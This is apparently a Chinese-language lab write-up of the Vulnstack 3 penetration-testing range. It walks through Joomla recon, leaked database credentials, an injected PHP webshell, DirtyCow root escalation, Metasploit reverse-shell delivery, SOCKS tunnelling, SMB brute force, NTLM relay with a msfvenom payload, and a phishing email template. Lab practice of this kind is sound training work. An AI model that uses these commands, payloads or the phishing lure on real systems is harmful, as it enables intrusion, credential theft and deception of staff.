声明
好好学习,天天向上
环境配置
下载地址,直接进去用百度云,没有会员也下的非常快
http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
边下载着,可以开始vmware的网络配置
有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet2,192.168.93.1/24
外网的centos和kali直接都用桥接宿主机的网卡自动获取了,centos需要第一时间进去service network restart
然后内网那几台都不用改,就用加的网卡就好了
我还自己恢复了一下虚拟机自带的快照,看了看作者的心路历程,作者以前就是用的192.168.1.0/24搭建的,怪不得是这个网段,所以我们打开5台虚机配好网络后,最好打一个我们自己的快照
环境配置到此结束
战斗
Web渗透
信息收集
kali扫描存活
arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24
扫描详细信息
nmap -T4 -A 192.168.31.53 -p 1-65535 -oN nmap.A
开了22,80,3306,先搞80的web,看样子是CMS三巨头之一joomla
Web后台
访问
http://192.168.31.53
joomlascan扫一下吧
apt-get install joomlascan
joomscan -u http://192.168.31.53
没扫到漏洞,扫到了一个配置
访问一下
http://192.168.31.53/configuration.php~
拷贝出来整理一下,搜索pass关键字,发现了数据库的信息,如下星号包围的位置
请ç¨å€™è®¿é—®ã€‚';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'test';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1'; public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
*****
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
*****
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = ''; public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0'; }
访问joomla的后台地址,刚刚nmap和joomlascan已经告诉我们了,输入testuser/cvcvgjASD!@,耻辱了
http://192.168.31.53/administrator/
web登不上,mysql总能登上吧,再开一台win7吧
终于在am2zu_users表中看到了超管用户,不过翻了很多张带有user字眼的表,都是明显做过加密的,所以就算我拿到了也是密文,有一个思路就是,我本地搭建一个joomla,注册一个用户,在数据库拿到那个用户加密后的密码,这样在这里替换,就可以登录,其实就和window的sum是一个道理,还有直接执行mysql命令,添加一个用户
参考,增加一个admin2,密码为secret的超级管理员
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
我这里报错了,先修改一下sqlmod的值
SET sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY',''));
再执行这两句加账户
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
就不会再报错了
也算是加进去了
使用admin2/secret登录刚刚的后台
拿下web后台权限
shell
其实拿到了web的权限,离shell还会远吗?会的!
不过像这种CMS,很多模板注入,就是可以加一个php文件之类的,我们就可以连webshell
比如,就找Templates的字眼
eval($_POST["cmd"]);
浏览器打开这个index.php看一下,访问啥都没有,但是没报错,那应该就是某问题
http://192.168.31.53/templates/beez3/index.php
蚁剑连接一下,发现执行命令失败了
查了一下, 原来是php中开启了disable_functions选项,果断在刚刚一句话上加了phpinfo看一下, 确实禁用了很多函数
蚁剑商店有专门的的bypass插件,安装一下
加载一下
选择模式,选了第四个点开始就成功了,不行的话挨个试
绕过后,会自动弹出一个shell,直接拿到的是93段的内网地址的shell,这就很奇怪了,我们不是目标是31.53吗,怎么突然到了93.120这里了
先用uname一看是个linux的,既然直接打入内网了,需要进行信息收集了
uname -a # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则
目标主机为Ubuntu16
192.168.93.0/24的网段
主机的IP却为192.168.93.120
www权限
随便搜一搜
在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(wwwuser/wwwuser_123Aqx)
于是就想到了这台网关外网服务器,之前扫描端口是开启了22的,ssh过去试一下,这台服务器就是我们访问web服务器的那台,应该就是最外层的服务器
那为什么我们webshell拿到的是内网的呢,原因是做了一层代理
所以现在共拿下了两台服务器
对外提供反向代理nginx的centos
IP1:192.168.31.53
IP2:192.168.93.100
内网nginx代理过来的真正web服务的ubuntu
IP1:192.168.93.120
权限维持/提升
一台一台来吧
对于centos先试试脏牛提权
下载下来c文件,上传到centos上编译生成脚本
git clone https://github.com/FireFart/dirtycow.git
scp /app/vulnstack/3/dirtycow/dirty.c wwwuser@192.168.31.53:/home/wwwuser
wwwuser_123Aqx
gcc -pthread dirty.c -o dirty -lcrypt
执行脚本生成用户
./dirty 123456
su firefart
这样就拿到了一个ssh的root权限
msf上线
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统,不知道的show targets一下
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 6666
exploit
执行后会生成一段代码,在centos上执行即可
msf路由转发,让msf进入内网93段
sock5代理,让kali进入内网93段
msf路由转发
route print
route add 192.168.93.0 255.255.255.0 1
route print
sock5代理,使用ew
用到的linux64版的,因为centos和kali都是linux64
kali执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
scp /app/tools/ew-master/ew_for_linux64 firefart@192.168.31.53:/tmp/
centos执行
nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &
修改proxychains
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
内网渗透
信息收集
可以先使用msf进行一波存活扫描
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run
肉眼可见的三台10,20,30
显然这三台和ubuntu都是93段的内网服务器,现在可以列一下了
centos
192.168.31.53
192.168.93.100
nginx代理到ubuntu上
ubuntu
192.168.93.120
web服务
三台内网
192.168.93.10
192.168.93.20
192.168.93.30
既然拿到了就扫描一下,用proxychains,nmap需要加Pn和sT
proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
192.168.93.10
win2008-2012
192.168.93.20
win2008
192.168.93.30
win7-10
横向渗透
接下来可以进行爆破,看网上有大佬是爆破出来
在这里学一学大佬的钓鱼思路NTLM Relay 攻击
在局域网中构造一个钓鱼网页,并诱导域用户访问
域用户访问后,smbrelayx.py 会抓取用户 的 Net-NTLM Hash 重放给内网中的另一台机器
紧接着重放给另一台机器执行木马,拿到shell
钓鱼服务器就还是选亲爱的centos吧
下载impacket工具,并上传到centos上面
git clone https://github.com/SecureAuthCorp/impacket.git
scp -r /app/tools/impacket/ firefart@192.168.31.53:/tmp/
kali生成木马并上传到centos上面
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.31.96 LPORT=6777 -e x86/shikata_ga_nai -f exe -o /app/vulnstack/3/shell.exe
scp /app/vulnstack/3/shell.exe firefart@192.168.31.53:/tmp/
centos进入Impacket的examples目录执行
./smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 192.168.93.20 为要重放的目标主机
上面的过程其实很艰难,因为目标机centos只有python2,python2.6,然而又不带pip环境
python环境大家都懂,所以我要向运行成功smbrelayx.py这个脚本,首先得完善centos上的python环境,我看了大佬用的是2.7,但是官网上写的也2.7和3都支持,我就直接用3.6吧,这里就考验在陌生环境重新搭建一个属于我们可以放飞的python了
我这里也是参考了一下我以前搭建elastalert用的python3环境
这里需要注意一下,如果centos从git上或者wget上半天都下载失败,不要死磕,我们都已经有scp了,在kali上下载完上传上去也不是不行,虽然我的python包,shell.exe,pip包都是kali上下载完,scp上去的
wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar xf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install
ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip
这里就要注意了,我是把python3环境链接到python3命令上了,所以
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
但是python脚本执行,一般都会报错(运行一次,看报什么错,然后安装,再运行,再安装,直到能跑通)
某某某模块不存在,这个时候就要使用pip安装,那么用pip安装又会报错,这里会报两个错
一个就是pip的版本问题,pip的版本联网更新有点问题,所以需要采用离线手动更新,就是去pypi上下一个最新的pip包,然后python安装一下
另一个就是SSL证书信任问题,所以pip安装其他模块,一律用下面的文件
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex
看一下我的安装心路历程
centos上一共安装的包
kali下载的基础环境,用于拷贝过去
kali历史命令
centos的历史命令
然后就那样,运行,报错,安装,直到出现了这个错误,我知道,程序跑通了,但是面临着另一个问题Address already in use
简单想了一下,图中有HTTP Server,看了大佬的文章应该是这个服务需要80的HTTP,而nginx的默认端口也用的80,所以想要用这个服务,就先关掉nginx的服务,再启动
nginx -s stop
其实我们的钓鱼服务器已经启动,按道理来说接下来就应该等鱼上钩了,但是我们这个是靶机,哪来的域用户会访问,所以接下来,我们只能自导自演了,但是我又不知道用户名密码,我怎么上钩?
首先我得爆破出一组用户名和密码吧,有的人疑惑了,都用用户名和密码,还模拟钓鱼干啥,这不是站在学习的角度,把整个流程都模拟出来,能用的方法,都学一学没什么坏处
密码字典,随便用一个top100的(反正人家最后的密码也不在这里(#.#))
https://github.com/k8gege/PasswordDic/
msf爆破模块
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /app/tools/dic/pass.txt
run
我这里msf爆破总有问题,人是活的,不行我们就开代理用hydry进行smb爆破,顺便把密码加入到我我的字典里面
proxychains4 hydra -l administrator -P /app/tools/dic/pass.txt smb://192.168.93.20 -vV
用户名密码
administrator/123qwe!ASD
现在我们就可以告知社工组,想办法给目标单位相关人员发个邮件,想办法让管理员上钩,邮件内容
各位同事好:
现接到某某某通知,需要登录服务器进行用户验证,看到通知的同事请立马登录服务器,验证自己的用户是否异常,有问题随时沟通。
服务器地址如下:
http://192.168.93.100
然后假如我现在是一名安全意识很差的工程师,就以30的win7为例吧,看到了这个邮件,谁都不问,也不找相关方确认,就直接访问
http://192.168.93.100
乍一看,哦,原来需要我登录看看用户是不是异常或者过期,那我就登录吧
这时候看一看centos上的工具
显示接收到来自30win7哥们的帮助,帮助我们一起拿下20这台服务器
然后我再30win7上输入用户名密码进行确认,当然在这之前,首先需要在msf进行监听,因为要反弹shell吗
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 6777
set AutoRunScript post/windows/manage/migrate
run
windows这边点击ok
impacket成功拿到hash,然后利用hash登录20,然后执行shell
msf收到shell
kali下载PVEFindADUser.exe工具并上传到这台windows上
wget https://github.com/chrisdee/Tools/blob/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe
upload /app/tools/PVEFindADUser.exe C:\\Windows\\system32\\PVEFindADUser.exe
upload /app/vulnstack/3/artifact.exe C:\\111\\artifact.exe
shell
pvefinaduser.exe -current
我这里执行失败了,不过后面基本上就是和前面的差不多,上线CS,然后凭据统一拿下
其中有几个环节弄得头大,好多次才弄成,不过不稳定,只想说,毁灭吧,我累了